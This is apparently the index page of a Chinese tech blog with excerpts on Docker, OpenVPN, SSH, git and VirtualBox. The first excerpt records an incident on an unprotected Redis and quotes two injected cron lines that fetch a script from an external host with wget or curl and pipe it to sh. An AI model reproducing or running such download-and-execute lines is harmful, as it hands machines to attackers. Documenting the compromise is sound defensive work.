0%

前言

在服务器上使用 docker-compose 启动一个 Docker 中的 Redis 时,配置文件没有生效,Redis 没有加密码,导致 redis 中被写入两条记录:

1
2
*/3 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh
*/1 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh

还好及时发现,在此记录一下解决过程。

阅读全文 »

前言

一般情况下我们通过命令在 Linux 上安装 Docker,Docker 会将文件默认储存在 /var/lib/docker 目录下,时间久了就会占用很大空间,最后导致系统盘被占满。此时需要将文件转移到数据盘上并做一个软连接。


阅读全文 »

前言

家里的网络因为没有公网 IP,有时候想要连接到家里的树莓派或者电脑就无法实现。这个时候可以采用内网穿透的方法远程连接家中的机器,内网穿透的方案有很多,下面介绍一种采用 OpenVPN 实现内网穿透的方案。


阅读全文 »

问题

在服务器的 ~/.ssh/authorized_keys 文件内加入自己的公钥, 按理说下次在有该公钥的机器登录服务器时可以免密登录。但在一台服务器上遇到无法免密登录的情况。

解决方案

造成这个问题的原因是 ~/.ssh 文件夹和,文件夹内的文件权限不对。

1
2
3
4
5
$ cd ~
$ chmod 700 .ssh
$ cd .ssh
$ chmod 644 authorized_keys id_rsa.pub
$ chmod 600 id_rsa

更改文件夹和文件为合适的权限后即可实现免密登录。
为什么要使用几个权限并不太清楚,虽然只要不给其他用户和用户组可写的权限都可以正常使用免密登录,但是尽量还是按照这几个文件及文件夹默认的权限去设置。

前言

开发过程中经常会使用到命令行,有很多命令行快捷键可以很方便的提高我们的工作效率。

阅读全文 »

方法一

1
git checkout -b xxx(本地分支名) yyy(远程仓库名)/zzz(远程仓库分支名)

该方法会将远程仓库 yyy 的 zzz 分支拉取到本地新建分支 xxx,并自动切换到本地分支 xxx。
注意:该方法创建的本地分支 xxx 会和远程仓库 yyy 的 zzz 分支建立映射关系

方法二

1
git fetch yyy(远程仓库名) zzz(远程仓库分支名):xxx(本地分支名)

该方法会将远程仓库 yyy 的 zzz 分支拉取到本地新建分支 xxx,但不会自动切换到本地分支 xxx。
注意:该方法创建的本地分支 xxx 不会和远程仓库 yyy 的 zzz 分支建立映射关系

阅读全文 »

问题


首先设置双向共享剪切板,然后:

  • 启动虚拟机, 然后在点击的虚拟机的窗口菜单上的Devices > Insert Guest Addtjions CD image…
  • 虚拟机中弹出对话框, 点击运行

安装失败再次安装出现下方错误:

解决方案

在 Ubuntu 虚拟机终端运行:

1
$ sudo apt-get install virtualbox-guest-utils

安装完成后重启虚拟机即可与Mac OS 共享剪切板。

参考

Unable to Install Guest Additions CD Image on Virtual Box

前言

生成 SSH 秘钥时,会让你输入私钥的密码,直接回车则意为不设密码,如果设置了私钥密码,每次使用 SSH 进行操作都需要输入私钥密码。虽然这样增加了安全性,但是使用 SSH 的目的很多时候就是想更加方便,跳过输入账号密码这一步。只要保存好自己的私钥不泄露,一般不设私钥密码是没有太大的风险的。如果已经生成带密码的私钥,又想取消密码可以按下列两种方法操作。

阅读全文 »